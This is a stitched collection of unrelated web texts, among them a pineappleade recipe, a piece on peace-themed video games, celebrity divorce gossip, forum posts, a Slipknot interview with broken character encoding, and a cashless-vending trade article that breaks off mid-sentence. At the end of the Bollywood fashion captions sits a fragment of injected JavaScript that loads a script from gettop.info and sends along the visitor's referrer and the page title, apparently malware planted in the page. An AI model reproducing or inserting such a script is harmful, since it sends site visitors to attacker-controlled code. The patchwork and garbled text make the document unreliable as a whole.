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text: Dawn of Magic, also known as Blood Magic, is an action/RPG where the weapon of choice is magic. You control an unlikely hero in an ambitious search through many hostile environments looking for Modo, the ethereal being bent on destroying the world. This multilanguage demo includes half of the first act, multiple characters, spells, one level of difficulty, as well as five multiplayer modes with one map each.


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Edit Article
wikiHow to Make Pineappleade
Time for a change from lemonade? Try pineappleade, a great tasting cousin to the age-old lemonade. This is a perfect thirst quencher for hot weather.
- Very ripe pineapples (amount as desired)
- Fine white sugar or caster sugar - to taste
- Boiling water - half-pint for each pineapple
- Ice for serving
- Additional sugar for individual sweetening to taste
1Pare and slice some very ripe pineapples.
2Cut the slices into small pieces.
3Put them with all their juice into a large pitcher. Sprinkle generously with fine sugar.
4Pour on boiling water, allowing a small half pint to each pineapple.
5Cover the pitcher and let it stand until quite cool, occasionally pressing down the pineapple with a spoon.
6Set the pitcher for a while in ice. Strain the infusion into another vessel and transfer it to tumblers, putting into each glass some more sugar and a bit of ice. This beverage is delicious.
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- Garnish with a mint sprig, sliced pineapple or a strawberry.
- Serve with pineapple and watermelon slices for a refreshing snack.
Things You'll Need
- Pitcher or jug
- Paring knife
- Spoon
- Tumblers
Sources and Citations
- Sourced from F.L. Gillette, The White House Cookbook, (1887) available in the public domain via Project Gutenberg. The eBook used for the source of this article is available for the use of anyone anywhere at no cost and with almost no restrictions whatsoever.
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Categories: Juice
In other languages:
Español: hacer limonada de piña, Русский: приготовить ананасовый напиток
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Parents who worry that video games are teaching children to settle conflicts with blasters and bloodshed can take heart: A new generation of video games wants to save the world through peace and democracy.
A team at Carnegie Mellon University is working on an educational computer game that explores the Mideast conflict -- you win by negotiating peace between Israelis and Palestinians. This spring, the United Nations' World Food Programme released an online game in which players must figure out how to feed thousands of people on a fictitious island.
This month, the University of Southern California is kicking off a competition to develop a game that promotes international goodwill toward the United States. And, lest anyone think only professors and policy wonks are involved, a unit of MTV this week announced a contest to come up with a video game that fights genocide in Darfur, Sudan.
Internet-based computer games, in which players create characters in a virtual world and interact to solve problems or win battles, are branching out from fantasy into serious social issues. Academics recognize their power as a new form of mass entertainment, and activists hope to tap into their enormous worldwide popularity to reach a new generation used to interacting through computers.
"It's been kind of a surprise for us. It just took off," said Jennifer Parmelee, a spokeswoman for the U.N. food program.
So popular was the U.N.'s game, titled Food Force, Yahoo had to step in as a Web host for the game when swarms of Internet users converged on www.food-force.com and accidentally knocked it off-line. The game, which Parmelee said was initially regarded with skepticism within the United Nations, has been downloaded 2 million times since its launch.
Stephen Friedman, general manager of an MTV channel shown on college campuses, said his network's contest could help spread awareness of Darfur to young people who are interested in games but don't follow world events.
"Activism needs to be rethought and reinvented with each generation," he said. "This is a generation that lives online. What better way to have an effect?" The network is promising a $50,000 prize to the student or team of students that comes up with the best idea.
Carnegie Mellon's project, called PeaceMaker, is led by an Israeli citizen named Asi Burak, who has sought input from both sides of the conflict for the game. In it, players take a role as an Israeli or Palestinian leader charged with bringing peace to the region. Use too much military force and the region falls into violence -- but give too many concessions quickly and a leader risks assassination.
"We want to prove that video games can be serious and deal with meaningful issues," said Burak, who will be lecturing about it next month in Washington at the Serious Games conference, dedicated to introducing game makers to potential clients interested in educational games.
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*Kim Kardashian visited her divorce lawyer Laura Wasser in Los Angeles on Sunday (June 24) after her ex-husband Kris Humphries claimed he "knew" that the reality star cheated with rapper Kanye West, whom she is currently dating.
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Tracking her every move, the UK's Daily Mail reports that Kardashian spent hours at the lawyer's home and left after it was dark. Wasser has previously represented such stars as Heidi Klum, Mariah Carey and Ryan Reynolds.
Kris Humphries allegedly told his former lover Myla Sinanaj that his mother-in-law Kris Jenner would refer to Kanye as a "close family friend." Kris told Myla, "If he was such a close family friend, why wasn't he invited to the wedding?"
Meanwhile, TMZ is reporting that when Humphries listened to Kanye's song "Theraflu" – which references the couple's marriage – he became "visibly upset."
Last year, Kanye's ex-girlfriend Amber Rose accused Kim of stealing the rapper from her while she was dating Reggie Bush, telling Star magazine, "She's a homewrecker! They were both cheating. They were both cheating on me and Reggie with each other."
Adding to the drama, Kim's stepfather Bruce Jenner admitted to Oprah Winfrey that he wishes they could take back Kardashian's nuptials with the NBA player, which took place in a lavish ceremony in Montecito, Calif., yet lasted only 72 days.


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Overgrown Grass, Sidewalks and Vertical Line Rule
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Join Date: Oct 2008
Location: Highlands Ranch, CO
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Overgrown Grass, Sidewalks and Vertical Line Rule
So I played in a tournament this last weekend and had to take a penelty on what I thought was a slightly controversial call. In the long run I believe it was the right call but the explinations that I was given were highly frustrating and wanted to get some thoughts on the situation.
My tee shot on hole seven at Johnny Roberts DGC in Arvada, CO came to rest on the sidewalk on the far side of the creek. As I was walking to my disc the spotter put out a flag marking where I was last in bounds. My disc had landed and skipped a bit hitting the edge of the grass that was on the side walk and came to rest right along the edge fo the grass. There appeared to be a few blades of live grass in the ground that were underneath my disc. My understanding is that this grass is in bounds and therefore my disc could have been called in bounds. The problem being that the people the edge the side walks do a bad job and most of the grass that my disc may have had under it was obviously growing out over the sidewalk. The spotter told me that the sidewalk was out of bounds and that the vertical line rule applied and that since my disc was completely over the sidewalk it was out of bounds. If there was indeed live planted grass under my disc, it is out of bounds in this scenario?
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It's tough sometimes... Had a great weekend seeing the folks ... Has and stu swimming the Bournemouth to boscombe pier swim ... Bit of boxing ... Seeing the boys...
My bloody sugars!!!! So up and down... And highs to me are as bad as when it is low... I have issues with sweating withe the neuropathy ... So if high ... I tend to get a very very sweaty back n front...not nice to see... But not nice to feel... I don't mean a little bead I mean inbred to change my top after an hour of putting on... Very bloated stomach on sat evening after watching the hate fight.. So sleep happened around 4/5 this morning... Then up to see the boys stuart and Jason do the annual Bournemouth to boscombe pier swim.. Although justb before i left I caught the canular ... Thinking I had pulled it out .. So spent the next couple of hours thinking if i was gonna be in keystones or not.. Anyway ... Enough moaning ... Imam boring myself now too...
P.s don't ask me how i am
Feeling lol ... Just say oh lovely weather saves on the ear ache of oh erm well lol .... X:)
DIABETIC AUTONOMIC NEUROPATHY You can learn about this awful condtion and my daily struggle with it, i would like to hear from other people with chronic pain so please leave a note or get in touch.. heres to a pain free day
Sunday, 15 July 2012
Great weekend but bad sugars
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Different trigeminal neuralgia treatment is available but no significant claims, they are successful survivors of this disease that are diagnosed early. Long term diagnosis may result to permanent nerve damage which will make you suffer for a very long period of time.
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Slipknot are pulling together again.
More than two years after the drug-related death of bassist Paul Gray, Iowa�s masked metal marauders are slowly but surely regrouping.
�It�s starting to get back there,� agrees frontman Corey Taylor. �But I don�t know if it�s ever going to not be weird without Paul there.
�He was one of the founding members of this band and contributed so much. He was a very powerful musical force. So even though we�ve all come together to do our thing, you can just feel that a little bit of the glue is not there. So we�re taking steps to try to figure out where we go from here and how to get there.�
The two latest steps on the brutal octet�s rocky road to recovery: The just-released two-CD anthology Antennas to Hell and their current Memorial World Tour (which includes stops at Heavy festivals in Toronto and Montreal). The day after a show in Seattle, a still-sore Taylor talked about returning to duty, their indestructible guitarist Jim Root and why all hope is not gone.
You played a few shows last year, but it seems you�re really getting back up on the horse this summer.
The thing we�ve been trying to do is hit all the territories we can and let everybody � not pay their respects, but just celebrate everything we all built with Paul. It�s about letting everybody let go of that breath they�ve been holding. We�re just trying to give the fans everything we can so we can put the period at the end of the sentence, as it were.
How did it feel being onstage again without him? It must have been weird and bittersweet � but given your music, it could also be cathartic.
Definitely. And the audience definitely helped. I can�t say enough for our fans. When we�re hurting, they�re hurting. It�s really a symbiotic vibe.
Was it difficult to get everyone together? You all must have had different thoughts and views and emotional responses.
It was just a matter of us all getting on the same page. I think if the offer hadn�t come in to do shows last year, we would have put it off as long as possible. At first we said, �Hell, no!� It was almost insulting. But the more we talked, the more we realized that if we were going to continue, it was going to have to start with us getting on a stage. Because that�s our bonding process and how we heal: By playing that music. That first show was really hard. But about halfway through it, the audience let us know it was OK. There was just this huge outpouring of emotion.
Is part of this tour about closure?
In a way. There�s never going to come a time when we even entertain the thought of replacing Paul. There will never be another mask. There will never be another #2. But to us, it�s � I don�t want to say we�re looking backwards, but it�s us showing the respect to Paul that we felt was necessary, and trying to figure out what the future holds for this band. Going into the studio without Paul is very, very daunting. But we�re doing it right, you know. We�re in no hurry to run right in and make an album. We�re writing music here and there, putting some stuff together in the event that we all decide to do it. But there�s no rush. It�s a matter of doing it right. That�s what this band is all about; doing it right and doing it with respect.
What do you want the future to be?
What makes sense to me is to take the next couple of years and really put the right music together, not just run in with riffs and songs that may not represent where this band is at. We need to allow ourselves the time to get used to the fact that Paul is not there. Everyone needs to be able to say something on this album and really feel it. This is going to be how we reconnect. And it needs to start now with communication and sharing ideas and opening up and being able to embrace that. And it�s going to take time.
How does it feel listening to the music on Antennas to Hell?
Honestly, in a weird way, it�s very gratifying. You can tell where we came from, and where we got to with All Hope is Gone. But the beautiful thing is that the essence is still there. We never forgot why we loved making music. We never forgot that frenetic energy that we invariably put into everything we do, and that sense of urgency that never left us. I truly hope it never does.
Is it true that (hulking guitarist Jim) Root was walking around for two weeks with a burst appendix? How bad-ass is this guy?
Dude, he�s out of his mind. We were actually finishing the guitars on the new Stone Sour album when it happened. He was complaining about a pain in his side. When he got back home, he had a 102� temperature, went to the clinic and found out his appendix burst two and a half weeks ago. The fact that he was still walking and talking is crazy. I mean, you have got to be kidding me.
Aug. 11 | Toronto | Heavy TO
Aug. 12 | Montreal | Heavy MTL
Will Slipknot be the same without bassist Paul Gray?


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Bollywood Charm Sridevi
Bollywood evergreen beauty, Sridevi looked gorgeous in a DvF gold top, with black fitted pants. She attended the Mai premier. We love!! What do you think?
At the Mai premiere, Kajol donned a black Sabyasachi sari. She looked GORGEOUS with hair pulled back and high heels. Saris definitely look good on this actress. We loved her look.
Sonam Kapoor
It was good to see Bollywood fashionista, Sonam Kapoor making a public appearance after a long time. The actress attended the Mai premier donning a clock-print Kallol Datta sari paired with a statement silver necklace. She looked mesmerizing!
Tanisha Mukherji
It was a Payal Singhal for Tanishaa at the Mai premiere. A beige brocade suit featuring a colorful border and a pink churidaar. She looked nice. Didn't really like her messy side braid.
Urmila Matondkar
Ms Urmila looked beautiful in a vibrant hued Anita Dongre dress. She attended the Worli Festival. Loved the color on her. What do you think?} else {s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ";
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Home to an incredible mix of natural beauty, high-octane excitement, fine wine, craft beer, and handcrafted spirits, and farm-to-table tourism. Boasting acclaimed attractions such as Watkins Glen International; Watkins Glen State Park; the Seneca Lake Wine Trail and 60+ wineries, craft breweries, and region's first distillery which dot the hillsides surrounding Seneca Lake; the Finger Lakes National Forest; the Farm Sanctuary; 44 waterfalls throughout our county, and so much more. This is your perfect trip for your family vacation, girl's getaway, couple's retreat, or wedding. A new adventure awaits at every turn, and some of your best days are yet to come…
Welcome to Watkins Glen & Schuyler County on Seneca Lake in the Beautiful Finger Lakes Region!
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text: Sonnie Johnson: Are You Ready to Talk About Real Freedom Now, Jesse Williams? Posted on June 28, 2016 by Sonnie Johnson If you want true freedom, there's a way to get it. Following Progressives leads to pseudo-freedom masked in feel-good emotions. Jesse, you made the crowd, social media and even me feel good — you ready to talk about real freedom now?


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The 'Throw'.
She cost me my job.
I lost more friends this way.
She beats herself so I don't have to.
Mission 'aborted'.
Fun and games at the hotel.
I'm living with Connie Corleone.
Who fights over a shower?
I was dumped. Me.
Her car 'disappears'.
I'm psycho too, or so it seems.
Well, I still had to get my stuff.
Unsettling Update 1/16/08
Ex-Girlfriend Voicemails 2/14/09
A Man (not me) Gave His Life For His 'Troubled' Girlfriend
Reader Submissions Welcome
Reader Submission Nov 27th, 2011
The Perfect Girl? Jan 14th, 2012
Crazy Korean March 19th, 2012
Queen Of Crazy, August 21st, 2012


text: First this is a slightly used 27 with the OD frame I bought on gunbroker last week. I took it out to the range for the first time today. I shot about 100 rounds through her and all was well, one magazine I fired went well, or so i thought, slide locked back, and I thought I was out but when I went to change the Mag I saw brass down the gun. I thought it was a jam and pulled he slide to extract. Instead she closed on me and I fired the round. These are FMJ federals with the flat nose and I googled this and it seems some people are having this issue with the flat nose 40s? The other problem with the dimpled primer may have been a bad primer, maybe the ammo's fault, but I find it curious that it was when I topped off the gun. I loaded 9, racked the slide extracted the mag, and loaded another round in the mag and slammed my mag home. I went to fire and CLICK. I racked the slide, round fell out, and I didn't touch it until I fired my mag and picked it up, primer had been hit. I probably should have waited to see if it was a hang fire, but I'm still new at this. Any suggestions? Losing a little faith in glock since the G30 extraction problems and now this with a new to me 27.


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Baldwin joins Teach for America corps
Luke Baldwin, a native of Horace, has joined Teach For America, the national corps of top recent college graduates who commit to teach for two years in urban and rural public schools and become lifelong advocates for educational equity. He will teach in South Dakota.
Baldwin is a 2005 graduate of West Fargo High School and a 2009 graduate of Concordia College-Moorhead .
He joins Teach For America's incoming corps of 4,100 teachers, the largest in its 20-year history. With a record 35,000 applications for the 2009 corps, only 15 percent were accepted. These outstanding recent college graduates were selected for their leadership abilities and strong record of achievement. The 2009 incoming corps members earned an average undergraduate GPA of 3.6, and 89% held leadership positions as undergraduates.
Each year, Teach For America attracts a significant percentage of graduates from the nation's top schools. This year, at more than 130 colleges and universities, over 5 percent of the senior class applied, including 11 percent of all seniors at Ivy League institutions. Teach For America was the No. 1 employer of graduating seniors at more than 20 schools, including Georgetown University, Spelman College and the University of North Carolina-Chapel Hill.
Teach For America corps members go above and beyond traditional expectations to improve the educational outcomes of children growing up in low-income communities. "The most rigorous research to date finds that Teach For America corps members produce student learning gains as large or larger than other novice or experienced teachers in the same schools," said Michael J. Podgursky, a professor of economics at the University of Missouri-Columbia who serves on the National Research Council study committee examining teacher preparation in the United States. In fact, a study by the Urban Institute updated in March 2009 confirmed that Teach For America teachers have a positive effect on student achievement relative to other teachers, including experienced teachers, traditionally prepared teachers, and those fully certified in their fields.
In the 2009-10 school year, over 7,300 first- and second-year Teach For America corps members will head to classrooms in 35 regions across the United States, including a record seven new sites: Boston; Dallas; Milwaukee; Minneapolis-St. Paul; Nashville, Tenn.; Tulsa, Okla.; and Wilmington, Del.
Beyond their corps commitments, two-thirds of the nearly 17,000 Teach For America alumni across the country are working full-time in education. Nearly 400 Teach For America alumni serve as school principals or superintendents, more than 500 work in government or policy, and 26 serve in elected office.
For more information, visit www.teachforamerica.org.


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U.S.A. -- The dramatic increase in the use of cashless payment media -- credit and bank debit cards -- for small transactions was the subject of several educational events late in 2006.
USA Technologies hosted a breakfast during the National Automatic Merchandising Association's 2006 National Expo, with presentations including an update on the growth in card use for small payments, as well as a report from an operator who finds the cashless option valuable in targeting desirable new business. A month later, the 2006 Micro and Small Payments Conference in New York City explored the trend from several angles, including its implications for retail outlets conducting loyalty programs with their own cards.
The consensus is that Americans are eager to reduce their daily dependence on cash by using debit and credit media to make small purchases, as well as the larger ones that now have become virtually unthinkable without credit cards.
In the same timeframe, the National Association of Convenience Stores (NACS) updated its members on an ongoing campaign to mandate the publication of the interchange fees charged by financial institutions for electronic payment processing. At the convention, held two weeks before the NAMA National Expo, the association's leaders explained that the object is to make these charges more transparent to consumers and merchants alike.
Welcoming guests to the USAT breakfast, senior vice-president of sales and marketing Michael Lawlor observed that "debit and credit card -- cashless -- vending is the coming thing; we've been working at it for many years." He explained that the purpose of the event was to bring operators up to date on what has succeeded and, in general, share what USA Technologies has learned. "You must succeed if we are to succeed," he pointed out.
He introduced Alan Drazen, Mid-Atlantic Vending (Moorestown, NJ), to outline the company's experiences with cashless vending using USAT's e-Port terminal. Drazen is a long-time veteran of the ice cream business.
Mid-Atlantic provides truck and machine vending services in Delaware, Maryland, New Jersey, Pennsylvania, Virginia and the District of Columbia. The company concentrates on branded vending, offering a variety of products ranging from ice cream to snacks and candy.
"We've been successful with cashless," Drazen said, "and we've gotten business by offering a cashless vending option."
In vending products at a $2 price-point, placing machines that can accept $5 bills as well as cashless payment media makes a real difference, the industry veteran emphasized. "We'll start with ice cream, and then try to get the other vending business too."
Mid-Atlantic has used this approach to obtain marquee accounts, including a major zoo in the nation's capital. In this large public location, the vending business has grown tenfold; allowing customers to use their credit and debit cards for vending purchases has been a key to that dramatic growth.
"In the first year, we saw cashless sales grow to about 10% of the total volume," Drazen reported. That percentage doubled in the second year, he said, and the company believes that this represents incremental business. "Families visiting the zoo will make multiple purchases, if it's easy to pay for them," he explained. "We now offer milk, snack and candy vending, as well as ice cream."
At another large account, he added, Mid-Atlantic won the ice cream vending business while a competitor, a major carbonated beverage company, did the cold drinks, which had three times the number of machines in place. "And we outsold them three to one," the veteran operator told the audience.
"We were nervous about adopting cashless payment technology," Drazen admitted. "But USA Technologies partnered with us, and helped us put everything into place. They provided tremendous value."
One concern for an operator is that the removal of product from a machine must be reconciled with payments made for the product, and enabling cashless vending might seem to make this task more complicated. "But we get two very helpful reports," Drazen told the audience. "One is a sales summary that lists all cash and credit transactions. The other is a daily 'zero transaction' report, listing machines that didn't sell anything on the previous day. A vender listed on this report needs to be checked out immediately."
Moving forward, he said, he expects a continued sales lift as more machines are equipped for cashless transactions and products thus become more accessible. As of mid-October, Mid-Atlantic was running 50 card-capable machines.
At present, the most appealing sites for cashless vending are locations like zoos and highway rest plazas. "These often are viewed by operators as 'transient' locations, but there's a lot of repeat business at stops like that: commuters, local family groups. They become aware of the cashless capability, and they visit the machines more and more often.
"We've been pleased with the results," Drazen summed up, "and we plan to implement cashless vending more and more. I wasn't sure that consumers were ready for it, but the past 18 months have convinced me that they are. I think, as more operators add cashless capabilities, it will give the entire industry a substantial lift." He thinks it likely that, within three to four years, about half a million card-enabled machines will be on location.
USA Technologies' Lawlor observed that the company emphasizes ease of implementation. "There are three steps. The first is to identify customer sites; the second is to install e-Port in the necessary machines. Third, use the USALive network to manage your business," he said.
"We're a hardware and software supplier," the USAT executive explained. "We provide flexible hardware, wireless communication and credit card processing services, all ready to go."
The e-Port terminal can accommodate both conventional magnetic-stripe and new contactless payment cards, Lawlor said; it interfaces readily to bill-and-card validators manufactured by Coin Acceptors and MEI. e-Port also is easy to adapt to situations in which an Ethernet network can be used instead of wireless data transmission. The software offers detailed sales reporting and settlement services. It can work with the operator's existing accountability system, "whether handwritten or handheld," he added. "USALive provides 100% visibility, and we can integrate it all the way back -- to accounts receivable, if necessary. It can be integrated into SAP [the enterprise resource planning database system from SAP AG], as Canteen does."
A toll-free number gives patrons quick access to a help desk, to address debit and credit card transaction chargeback, refund and other administrative issues, so the operator need not grapple with them, the USAT executive continued. As an end-to-end solution, USALive Online accepts transaction information from ePort, from a vender's DEX data capture and storage system, and from Cantaloupe Systems' Seed remote monitoring device. These inputs can be accommodated by a single platform, Lawlor summed up.
John McLaughlin, USAT's vice-president of sales, took the podium to emphasize that the present is an exciting time for the banking industry. "Consumers are shifting to cards," he said, "and the card associations want to work with you. It's my job to understand the issues for both the banking and the vending sides."
There are a great many new payment concepts in the air, McLaughlin observed, and it is important not to get dazzled. Mobile phones, for example, can be equipped variously for use as payment systems; but at present, cards are much more manageable. "Credit limits are lower, and the debit card is linked to the user's bank account; it's 'plastic cash.'" he said.
USA Technologies, which originally developed e-Port to allow patrons of its modular self-service business centers to purchase services with their credit cards, has not only worked steadily to refine the system and keep it up to date with the fast-changing financial and wide-area network fields, but also has tracked and analyzed the rollout of vending machines equipped for cashless payments.
McLauglin reported that one recent study followed 1,100 machines that made about 1.5 million transactions over a three-month period, and the results are worth pondering. "Consumers spend an average of 32% more when they pay by card," he said. This finding aggregates results across all product types, prices and location types. In business-and-industry accounts, consumers spend 24.1% more when they use their cards -- the average transaction rises from $1.12 to $1.39. In such locations, credit card transactions represented 22% of all sales, which thus average $1,608 per machine, per year.
In educational institutions, vending machines fitted to accommodate cashless payment media enjoyed an average 30.2% sales lift, the speaker continued. Cashless sales represented 36% of the total, or an average $1,488 per machine per year. Machines in travel and transit sites saw an average 23.4% sales increase, and those in entertainment venues, a 25.7% boost.
McLauglin added that machines vending higher-priced merchandise did a larger percentage of their sales with cards.
"Automated teller machines have tended to reduce the number of $1, $5 and $10 bills carried by consumers," he reported. "More and more, a prospective patron has to break a $20 before he or she can use a vending machine!"
In fact, consumers have been eager to find alternatives to cash for a long time. McLauglin pointed out that, five years ago, supermarkets were doing 80% of their volume in cash and check transactions; today, 80% are done with cards. Overall, between 2000 and 2005, transactions made with credit and debit cards have increased 70.7%.
The reason is convenience, he noted, and thus vending machines are a logical area of expansion for cashless payment technology. "This is not something that's 'on its way' -- it's here," he repeated. "I think, in five years, most vending machines will be equipped for cashless transactions."
At the 4th Annual Small Payments Conference, organized by SourceMedia Inc. with sponsorship from Peppercoin Inc., and held at the Marriott Financial Center Hotel in New York City, the swift and steady growth of consumer enthusiasm for low-ticket cashless purchases also was in the spotlight.
A highlight of the conference, which was themed "Transforming Transactions," was the presentation of the latest annual survey of the small-payments market conducted by Ipsos Insight, a unit of Ipsos in North America, with support from Peppercoin.
Ipsos in North America is a member of the Ipsos global survey-based market research group. The study took the form of a scientific random-sample telephone survey of 1,000 Americans ages 18 and older.
A key finding of the research was that more than 67 million Americans had used a credit or debit card for a purchase of less than $5 in the 30 days prior to the interview date.
The research also indicated that merchants face limited growth opportunities with traditional "membership rewards" cards commonly used in loyalty programs today. Fewer than 20% of survey respondents indicated they would be willing to carry additional reward cards. This implies that the appeal of these programs tends to be restricted to the retailers that implemented them early.
However, consumers did express strong interest in using a prepaid balance at merchants with whom they frequently shop. More than a quarter (27%) of survey participants responded positively when asked if this option interested them. Younger Americans are even more likely to adopt a prepaid program; the positive response rate was 42% among those ages 18 to 34.
"The data shows that credit and debit cards are becoming a preferred payment method for a variety of small-payment purchases in the physical world," said Matt Kleinschmit, vice-president of Ipsos Insight. "This suggests that merchants, retailers and card issuers alike could all benefit from increased consumer access to credit and debit cards as a small-payment option."
Mark Friedman, president and chief executive officer of Peppercoin, said that the study lends weight to the growing conviction that small cashless transactions have arrived as a practical, real-world proposition. "This year we reached an inflection point in the small payments industry," said Friedman. "Consumers have clearly demonstrated that, when given the chance, they will use credit and debit cards for small payments purchases.
"Additionally, the current loyalty program model needs to be reworked to eliminate the overwhelming amount of cards consumers need to carry," Friedman continued. "Merchants today have an unprecedented growth opportunity by combining credit- and debit-card-based small payments with loyalty and prepaid programs."
Today's predominantly coin-based enterprises appear to represent a major opportunity for credit and debit cards, the study found. Extrapolating from the response, the research suggests that 26 million consumers used a credit or debit card to pay mass-transit fares or tolls, while 63 million Americans would use credit or debit cards for these transportation services if they could.
The vending market evoked a similar response, with more than 42 million consumers willing to use credit or debit cards for vending purchases. This represents a substantial revenue growth opportunity for transit and vending operators as well as card companies, since consumers typically spend more when using card-based payment systems.
By examining consumer spending habits, the survey sheds light on the most common small-payment cash transactions. When asked where they made frequent purchases over the past 30 days, respondents indicated: 32% purchased coffee or another beverage at least six times; 11% purchased coffee more than 20 times; 24% purchased items at a fast-food restaurant at least six times; and 15% purchased items from vending machines and/or kiosks at least six times.
There is, then, a growing consensus that people will use their credit and debit cards to make purchases from vending machines, if the machines allow them to do so. Robert Carr of Heartland Payment Systems sees the opportunity (and the difficulty) for vending operators as not dissimilar from those faced by a great many merchants.
Heartland Payment Systems provides credit and debit card, payroll and related processing services to clients, primarily restaurant, hotel and retail merchants, throughout the United States. It processed its first card transaction on July 15, 1997, with a business investment of $1 million. Today, the company has become the sixth-largest payment processor, with more than $40 billion of annual processing volume from its current merchants. Headquartered in Princeton, NJ, Heartland maintains offices in North Olmsted, OH, Frisco, TX, and Phoenix, AZ. A service center in Jeffersonville, IN, provides customers with 24-hour support and technical service. The company purchased Debitek, a pioneer in the development of card-based cashless payment systems for vending, last year (see VT, March).
Carr explained that Heartland's swift and steady growth has been based in large measure on a different acquiring view.
"We believe that our future is based on providing good solutions for merchants," he said. "What does the merchant get? We have to present a value proposition; ours is our system. I'm a systems guy, and our system is our 'secret sauce.'"
This client-oriented view is important to an acquirer today, he said, because considerable consolidation is taking place in the acquiring world. An acquirer is the institution with which a merchant contracts to "acquire" card transaction requests and process them, relaying them to the "issuer" of the card for authentication, then returning the approval or denial to the merchant.
Consolidation is taking its toll because of weaknesses in the traditional way in which acquirers do business, Carr explained. "What's broken in the industry can be illustrated by thinking about a 10¢ transaction fee for a 75¢ purchase from a cold-drink machine," he said. Transaction fees have several components, and a critical one is the "interchange" fee. During every transaction, the acquirer must perform an "interchange" with the institution that issued the card being used to make the purchase, which levies a fee for this service. According to Carr, the principal card associations have played with the interchange fees, and acquirers thus blame those associations for the reluctance of many merchants -- potential clients of the acquirers -- to accept cashless payment media.
"We don't play games," the Heartland executive said. "We offer a three-year contract with no rate increases."
Large entities that can tinker with fees without having to tell anyone what they're doing pass the costs down to the merchant; this is not a high-tech approach, the speaker noted. A "merchant bill of rights" drive has been launched to mandate the publication of the interchange fees being charged. Carr thinks it important for merchants to get behind this drive.
"The small- and mid-size merchants who run the country are not watching credit card fees," he reported. "But those fees can become the third or fourth highest cost of running a retail business. What is the transaction fee? Merchants should know, and they should know how many middlemen may be collecting parts of those fees: as many as 12! It's essential to educate them."
Heartland does not outsource its sales force nor its payments platform, Carr explained. As a young company, it has built a modern infrastructure from the ground up. "Heartland is now an end-to-end processor," he said. "And we're so new that we're the only service with 21st-century technology. We want to be the financial services provider for the small guy."
There obviously is tremendous growth potential in efficient, cost-effective processing of small cashless transactions because there can be so many of them. Carr noted that there are several ways of growing -- for example, signing up 1,000 new accounts a week. But a company that does that will incur rollup costs, and it is difficult to predict how steep these will be. "What is the substantial long-term model?" he asked.
It may be possible to find answers by looking at successes and failures to date. Among "abject failures" have been programmable chip cards, launched with extensive "toolkits" to permit development of a wide range of customized applications but not backed up by an infrastructure that could support their use, and some of the more ambitious attempts to provide multifunction media for the campus marketplace.
Successes in which Heartland has been involved include its investment in the Parcxmart smart card system, a payment medium that rolled out successfully in New Haven, CT. Developed by Parcxmart Technologies (Hampton Fall, NH), this was presented to the city as a method of streamlining its parking meters to greatly reduce labor and expense, and was supported by local merchants. The card is a prepaid instrument; merchants provide them to residents at no cost, and the residents purchase value (a minimum of $10, a maximum of $100) and use the cards not only for parking meters and at municipal garages, but also at private parking garages -- and to make purchases from local merchants. The system has been well-accepted by everyone involved in implementing it, and is attracting interest from other cities.
Another success, Carr said, has been Heartland's acquisition of Debitek, which has developed a wide range of very workable cashless payment solutions for a diverse customer base.
In the short term, he explained, the company's goal is to grow from its present one billion annual transactions to two billion over the next three years. The tactics Carr proposes to accomplish this include "creating solutions that will make merchants want to participate in the system."
The Parcxmart is such a system; it includes both "open" and "closed" loops, and encourages the community to become involved. On the other hand, major cashless programs that involve 10¢ processing fees for 75¢ transactions are impediments to attaining Heartland's objective.
Looking at small payments today, Carr suggested that "waiting for the killer application that will solve everyone's problems is the wrong way to approach the problem. First, the 'ecosystem' has to work. We need to find a better value proposition for merchants, and not keep asking how we can extract higher fees."
The industry today suffers from "inadequate partial solutions," the speaker noted. And a prime target for expanding cashless small transactions -- the vending industry -- seems mostly unwilling to accept any transaction expense at all. Since the majority of vending installations will need not only to accommodate cashless media but also to communicate with acquirers over a wireless network, it is difficult to know how to work around this. "There are ways to get services to operators, but there don't seem to be any solutions that are acceptable to most operators today," he reported.
And the operators aren't entirely wrong, Carr pointed out. "Small-payment solutions often don't justify the cost of implementing them," he said.
One approach to addressing this is to provide a medium that offers a single solution to varying requirements: perhaps an employee ID badge that also can be used as a parking card, a prepaid card and a major credit card. This sort of package can offer enough benefits to the location to justify absorbing the system's costs, freeing the operator to provide service and support without worrying about recovering capital investment. "There's obvious appeal in an integrated, 'holistic' solution," he said, "and I don't like the word 'holistic!'"
Vending, and similar self-serve businesses like coin laundries, certainly recognizes that customers would like the ability to make cashless transactions. They also recognize the costs and hazards associated with handling coins and bills. There is value in the increased sales that result from freeing the patron from the need to come up with cash to make a purchase, and the decreased costs and administrative expenses that result from getting cash out of the machines.
A well-thought-out cashless program for vending will provide a reporting system that reconciles cash and cashless payments with removal of products from inventory. This also can help vendors, Carr suggested. "A big problem for the vending industry is that many locations don't trust operators' commission calculations." Trusted general-ledger reconciliation can give operators a tool for assuring their accounts of an honest count. This will offer a competitive edge, help account retention and improve communications between operator and client.
Adding loyalty applications that maintain customer interest and spur sales by rewarding frequent purchases will offer still more value to the operator, the speaker continued. "The thing to do is tie in all the stakeholders: the merchant, the patron and the location management."
Providing an integrated multiple solution to augment value has been done very successfully in enterprises that resemble vending and sometimes incorporate it. Recent examples of successes are Blackboard Inc. (Washington, DC), which markets a well-thought-out system to colleges that combines payment and access control with educational software; The CBORD Group (Ithaca, NY), an international organization that offers an extensive menu of applications for a wide range of foodservice, nutrition and facilities management functions; Peppercoin Inc. (Waltham, MA), which has worked steadily to integrate a spectrum of services, from intelligent aggregation to a small-payments gateway, into its Small Payment Suite, and to back up basic cashless transaction capability with value enhancers including loyalty and rewards programs and "virtual prepaid" capability; and Parcxmart.
There will come a point at which the cashless-payment service provider, who must make a profit to stay in business, and the vending operator, who must keep costs down for exactly the same reason, will meet in the middle. Heartland Payment Systems proposes to become the number-one acquirer for small- and medium-size merchants, and in working toward this end, it may accelerate that process.
"Why do issuers charge a 10¢ transaction fee on a purchase from a vending machine? Because they can," Carr summed up. This is a hurdle that needs to be overcome, and he is confident that it can be. "When it was a violation of the rules to publish interchange information, we did anyway," he recalled.
Peppercoin's Friedman, who followed Carr at the rostrum, noted that transactions of $25 and less total $1.4 trillion annually, and this surely represents an opportunity. He concurred with Carr's call to pay close attention to the needs of the merchant, whose cooperation is essential if the opportunity is to be fully realized.
"The mindset of the typical merchant
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